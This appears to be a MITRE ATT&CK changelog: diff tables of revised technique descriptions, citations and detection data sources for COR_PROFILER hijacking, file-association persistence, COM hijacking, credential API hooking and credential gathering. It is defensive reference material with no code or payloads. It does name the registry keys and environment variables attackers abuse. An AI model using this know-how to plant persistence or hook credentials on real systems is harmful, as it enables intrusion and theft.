(ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). | Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage the COR_PROFILER environment variab | t | 1 | Adversaries may leverage the COR_PROFILER environment variab |
| > | le to hijack the execution flow of programs that load the .N | > | le to hijack the execution flow of programs that load the .N | ||
| > | ET CLR. The COR_PROFILER is a .NET Framework feature which a | > | ET CLR. The COR_PROFILER is a .NET Framework feature which a | ||
| > | llows developers to specify an unmanaged (or external of .NE | > | llows developers to specify an unmanaged (or external of .NE | ||
| > | T) profiling DLL to be loaded into each .NET process that lo | > | T) profiling DLL to be loaded into each .NET process that lo | ||
| > | ads the Common Language Runtime (CLR). These profiliers are | > | ads the Common Language Runtime (CLR). These profilers are d | ||
| > | designed to monitor, troubleshoot, and debug managed code ex | > | esigned to monitor, troubleshoot, and debug managed code exe | ||
| > | ecuted by the .NET CLR.(Citation: Microsoft Profiling Mar 20 | > | cuted by the .NET CLR.(Citation: Microsoft Profiling Mar 201 | ||
| > | 17)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROF | > | 7)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFI | ||
| > | ILER environment variable can be set at various scopes (syst | > | LER environment variable can be set at various scopes (syste | ||
| > | em, user, or process) resulting in different levels of influ | > | m, user, or process) resulting in different levels of influe | ||
| > | ence. System and user-wide environment variable scopes are s | > | nce. System and user-wide environment variable scopes are sp | ||
| > | pecified in the Registry, where a [Component Object Model](h | > | ecified in the Registry, where a [Component Object Model](ht | ||
| > | ttps://attack.mitre.org/techniques/T1559/001) (COM) object c | > | tps://attack.mitre.org/techniques/T1559/001) (COM) object ca | ||
| > | an be registered as a profiler DLL. A process scope COR_PROF | > | n be registered as a profiler DLL. A process scope COR_PROFI | ||
| > | ILER can also be created in-memory without modifying the Reg | > | LER can also be created in-memory without modifying the Regi | ||
| > | istry. Starting with .NET Framework 4, the profiling DLL doe | > | stry. Starting with .NET Framework 4, the profiling DLL does | ||
| > | s not need to be registered as long as the location of the D | > | not need to be registered as long as the location of the DL | ||
| > | LL is specified in the COR_PROFILER_PATH environment variabl | > | L is specified in the COR_PROFILER_PATH environment variable | ||
| > | e.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries m | > | .(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries ma | ||
| > | ay abuse COR_PROFILER to establish persistence that executes | > | y abuse COR_PROFILER to establish persistence that executes | ||
| > | a malicious DLL in the context of all .NET processes every | > | a malicious DLL in the context of all .NET processes every t | ||
| > | time the CLR is invoked. The COR_PROFILER can also be used t | > | ime the CLR is invoked. The COR_PROFILER can also be used to | ||
| > | o elevate privileges (ex: [Bypass User Account Control](http | > | elevate privileges (ex: [Bypass User Account Control](https | ||
| > | s://attack.mitre.org/techniques/T1548/002)) if the victim .N | > | ://attack.mitre.org/techniques/T1548/002)) if the victim .NE | ||
| > | ET process executes at a higher permission level, as well as | > | T process executes at a higher permission level, as well as | ||
| > | to hook and [Impair Defenses](https://attack.mitre.org/tech | > | to hook and [Impair Defenses](https://attack.mitre.org/techn | ||
| > | niques/T1562) provided by .NET processes.(Citation: RedCanar | > | iques/T1562) provided by .NET processes.(Citation: RedCanary | ||
| > | y Mockingbird May 2020)(Citation: Red Canary COR_PROFILER Ma | > | Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May | ||
| > | y 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: Gi | > | 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: Git | ||
| > | tHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers Ma | > | Hub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May | ||
| > | y 2017) | > | 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-26 16:09:58.920000+00:00 | 2021-08-30 21:35:12.049000+00:00 |
| description | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017) | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017) |
| x_mitre_data_sources[0] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | Process command-line parameters | Module: Module Load |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence by executing malicious |
| > | content triggered by a file type association. When a file i | > | content triggered by a file type association. When a file i | ||
| > | s opened, the default program used to open the file (also ca | > | s opened, the default program used to open the file (also ca | ||
| > | lled the file association or handler) is checked. File assoc | > | lled the file association or handler) is checked. File assoc | ||
| > | iation selections are stored in the Windows Registry and can | > | iation selections are stored in the Windows Registry and can | ||
| > | be edited by users, administrators, or programs that have R | > | be edited by users, administrators, or programs that have R | ||
| > | egistry access (Citation: Microsoft Change Default Programs) | > | egistry access or by administrators using the built-in assoc | ||
| > | (Citation: Microsoft File Handlers) or by administrators us | > | utility.(Citation: Microsoft Change Default Programs)(Citat | ||
| > | ing the built-in assoc utility. (Citation: Microsoft Assoc O | > | ion: Microsoft File Handlers)(Citation: Microsoft Assoc Oct | ||
| > | ct 2017) Applications can modify the file association for a | > | 2017) Applications can modify the file association for a giv | ||
| > | given file extension to call an arbitrary program when a fil | > | en file extension to call an arbitrary program when a file w | ||
| > | e with the given extension is opened. System file associati | > | ith the given extension is opened. System file associations | ||
| > | ons are listed under <code>HKEY_CLASSES_ROOT\.[extension]</c | > | are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code | ||
| > | ode>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The e | > | >, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entr | ||
| > | ntries point to a handler for that extension located at <cod | > | ies point to a handler for that extension located at <code>H | ||
| > | e>HKEY_CLASSES_ROOT\[handler]</code>. The various commands a | > | KEY_CLASSES_ROOT\\[handler]</code>. The various commands are | ||
| > | re then listed as subkeys underneath the shell key at <code> | > | then listed as subkeys underneath the shell key at <code>HK | ||
| > | HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. F | > | EY_CLASSES_ROOT\\[handler]\shell\\[action]\command</code>. F | ||
| > | or example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\co | > | or example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\c | ||
| > | mmand</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\c | > | ommand</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\ | ||
| > | ommand</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\printt | > | command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print | ||
| > | o\command</code> The values of the keys listed are commands | > | to\command</code> The values of the keys listed are command | ||
| > | that are executed when the handler opens the file extension | > | s that are executed when the handler opens the file extensio | ||
| > | . Adversaries can modify these values to continually execute | > | n. Adversaries can modify these values to continually execut | ||
| > | arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2 | > | e arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2 | ||
| > | 012) | > | 012) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016. | |
| external_references | CAPEC-556 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-556 | |
| external_references | Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-24 13:40:47.282000+00:00 | 2022-04-20 16:55:49.219000+00:00 |
| description | Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example:
* HKEY_CLASSES_ROOT\txtfile\shell\open\command
* HKEY_CLASSES_ROOT\txtfile\shell\print\command
* HKEY_CLASSES_ROOT\txtfile\shell\printto\command
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012) | Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\shell\\[action]\command. For example:
* HKEY_CLASSES_ROOT\txtfile\shell\open\command
* HKEY_CLASSES_ROOT\txtfile\shell\print\command
* HKEY_CLASSES_ROOT\txtfile\shell\printto\command
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012) |
| external_references[1]['source_name'] | capec | Microsoft Change Default Programs |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/556.html | https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs |
| external_references[2]['source_name'] | Microsoft Change Default Programs | Microsoft File Handlers |
| external_references[2]['description'] | Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016. | Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014. |
| external_references[2]['url'] | https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs | http://msdn.microsoft.com/en-us/library/bb166549.aspx |
| external_references[3]['source_name'] | Microsoft File Handlers | Microsoft Assoc Oct 2017 |
| external_references[3]['description'] | Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014. | Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018. |
| external_references[3]['url'] | http://msdn.microsoft.com/en-us/library/bb166549.aspx | https://docs.microsoft.com/windows-server/administration/windows-commands/assoc |
| external_references[4]['source_name'] | Microsoft Assoc Oct 2017 | TrendMicro TROJ-FAKEAV OCT 2012 |
| external_references[4]['description'] | Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018. | Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018. |
| external_references[4]['url'] | https://docs.microsoft.com/windows-server/administration/windows-commands/assoc | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd |
| external_references[5]['source_name'] | TrendMicro TROJ-FAKEAV OCT 2012 | capec |
| external_references[5]['url'] | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd | https://capec.mitre.org/data/definitions/556.html |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Windows Registry | Command: Command Execution |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 13:55:51.172000+00:00 | 2020-11-10 18:19:44.750000+00:00 |
| external_references[3]['source_name'] | Endgame COM Hijacking | Elastic COM Hijacking |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[2] | Loaded DLLs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[3] | DLL monitoring | Process: Process Creation |
| x_mitre_detection | There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. | There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 14:49:58.249000+00:00 | 2021-10-19 03:18:43.648000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | Binary file metadata | File: File Deletion |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | File: File Metadata |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:42:09.222000+00:00 | 2021-06-08 17:08:08.386000+00:00 |
| x_mitre_data_sources[0] | Third-party application logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Authentication logs | Application Log: Application Log Content |
| x_mitre_detection | Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. | Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may hook into Windows application programming in | t | 1 | Adversaries may hook into Windows application programming in |
| > | terface (API) functions to collect user credentials. Malicio | > | terface (API) functions to collect user credentials. Malicio | ||
| > | us hooking mechanisms may capture API calls that include par | > | us hooking mechanisms may capture API calls that include par | ||
| > | ameters that reveal user authentication credentials.(Citatio | > | ameters that reveal user authentication credentials.(Citatio | ||
| > | n: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike | > | n: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike | ||
| > | [Keylogging](https://attack.mitre.org/techniques/T1056/001), | > | [Keylogging](https://attack.mitre.org/techniques/T1056/001), | ||
| > | this technique focuses specifically on API functions that | > | this technique focuses specifically on API functions that | ||
| > | include parameters that reveal user credentials. Hooking inv | > | include parameters that reveal user credentials. Hooking inv | ||
| > | olves redirecting calls to these functions and can be implem | > | olves redirecting calls to these functions and can be implem | ||
| > | ented via: * **Hooks procedures**, which intercept and exec | > | ented via: * **Hooks procedures**, which intercept and exec | ||
| > | ute designated code in response to events such as messages, | > | ute designated code in response to events such as messages, | ||
| > | keystrokes, and mouse inputs.(Citation: Microsoft Hook Overv | > | keystrokes, and mouse inputs.(Citation: Microsoft Hook Overv | ||
| > | iew)(Citation: Endgame Process Injection July 2017) * **Impo | > | iew)(Citation: Elastic Process Injection July 2017) * **Impo | ||
| > | rt address table (IAT) hooking**, which use modifications to | > | rt address table (IAT) hooking**, which use modifications to | ||
| > | a process’s IAT, where pointers to imported API functions a | > | a process’s IAT, where pointers to imported API functions a | ||
| > | re stored.(Citation: Endgame Process Injection July 2017)(Ci | > | re stored.(Citation: Elastic Process Injection July 2017)(Ci | ||
| > | tation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInf | > | tation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInf | ||
| > | oSecurity Dynamic Hooking 2015) * **Inline hooking**, which | > | oSecurity Dynamic Hooking 2015) * **Inline hooking**, which | ||
| > | overwrites the first bytes in an API function to redirect co | > | overwrites the first bytes in an API function to redirect co | ||
| > | de flow.(Citation: Endgame Process Injection July 2017)(Cita | > | de flow.(Citation: Elastic Process Injection July 2017)(Cita | ||
| > | tion: HighTech Bridge Inline Hooking Sept 2011)(Citation: MW | > | tion: HighTech Bridge Inline Hooking Sept 2011)(Citation: MW | ||
| > | RInfoSecurity Dynamic Hooking 2015) | > | RInfoSecurity Dynamic Hooking 2015) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 21:29:13.565000+00:00 | 2020-11-10 18:29:31.138000+00:00 |
| description | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Endgame Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Endgame Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Endgame Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) |
| external_references[3]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Windows event logs | Process: Process Metadata |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_data_sources | API monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather credent | t | 1 | Adversaries may gather credentials that can be used during t |
| > | ials that can be used during targeting. Account credentials | > | argeting. Account credentials gathered by adversaries may be | ||
| > | gathered by adversaries may be those directly associated wit | > | those directly associated with the target victim organizati | ||
| > | h the target victim organization or attempt to take advantag | > | on or attempt to take advantage of the tendency for users to | ||
| > | e of the tendency for users to use the same passwords across | > | use the same passwords across personal and business account | ||
| > | personal and business accounts. Adversaries may gather cre | > | s. Adversaries may gather credentials from potential victim | ||
| > | dentials from potential victims in various ways, such as dir | > | s in various ways, such as direct elicitation via [Phishing | ||
| > | ect elicitation via [Phishing for Information](https://attac | > | for Information](https://attack.mitre.org/techniques/T1598). | ||
| > | k.mitre.org/techniques/T1598). Adversaries may also compromi | > | Adversaries may also compromise sites then include maliciou | ||
| > | se sites then include malicious content designed to collect | > | s content designed to collect website authentication cookies | ||
| > | website authentication cookies from visitors.(Citation: ATT | > | from visitors.(Citation: ATT ScanBox) Credential informatio | ||
| > | ScanBox) Credential information may also be exposed to adver | > | n may also be exposed to adversaries via leaks to online or | ||
| > | saries via leaks to online or other accessible data sets (ex | > | other accessible data sets (ex: [Search Engines](https://att | ||
| > | : [Search Engines](https://attack.mitre.org/techniques/T1593 | > | ack.mitre.org/techniques/T1593/002), breach dumps, code repo | ||
| > | /002), breach dumps, code repositories, etc.).(Citation: Reg | > | sitories, etc.).(Citation: Register Deloitte)(Citation: Regi | ||
| > | ister Deloitte)(Citation: Register Uber)(Citation: Detectify | > | ster Uber)(Citation: Detectify Slack Tokens)(Citation: Forbe | ||
| > | Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitH | > | s GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHu | ||
| > | ub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks | > | b Gitrob)(Citation: CNET Leaks) Adversaries may also purchas | ||
| > | ) Adversaries may also purchase credentials from dark web or | > | e credentials from dark web or other black-markets. Gatherin | ||
| > | other black-markets. Gathering this information may reveal | > | g this information may reveal opportunities for other forms | ||
| > | opportunities for other forms of reconnaissance (ex: [Search | > | of reconnaissance (ex: [Search Open Websites/Domains](https: | ||
| > | Open Websites/Domains](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1593) or [Phishing for Inform | ||
| > | T1593) or [Phishing for Information](https://attack.mitre.or | > | ation](https://attack.mitre.org/techniques/T1598)), establis | ||
| > | g/techniques/T1598)), establishing operational resources (ex | > | hing operational resources (ex: [Compromise Accounts](https: | ||
| > | : [Compromise Accounts](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1586)), and/or initial access | ||
| > | T1586)), and/or initial access (ex: [External Remote Service | > | (ex: [External Remote Services](https://attack.mitre.org/te | ||
| > | s](https://attack.mitre.org/techniques/T1133) or [Valid Acco | > | chniques/T1133) or [Valid Accounts](https://attack.mitre.org | ||
| > | unts](https://attack.mitre.org/techniques/T1078)). | > | /techniques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-27 02:27:31.090000+00:00 | 2021-04-15 03:26:44.352000+00:00 |
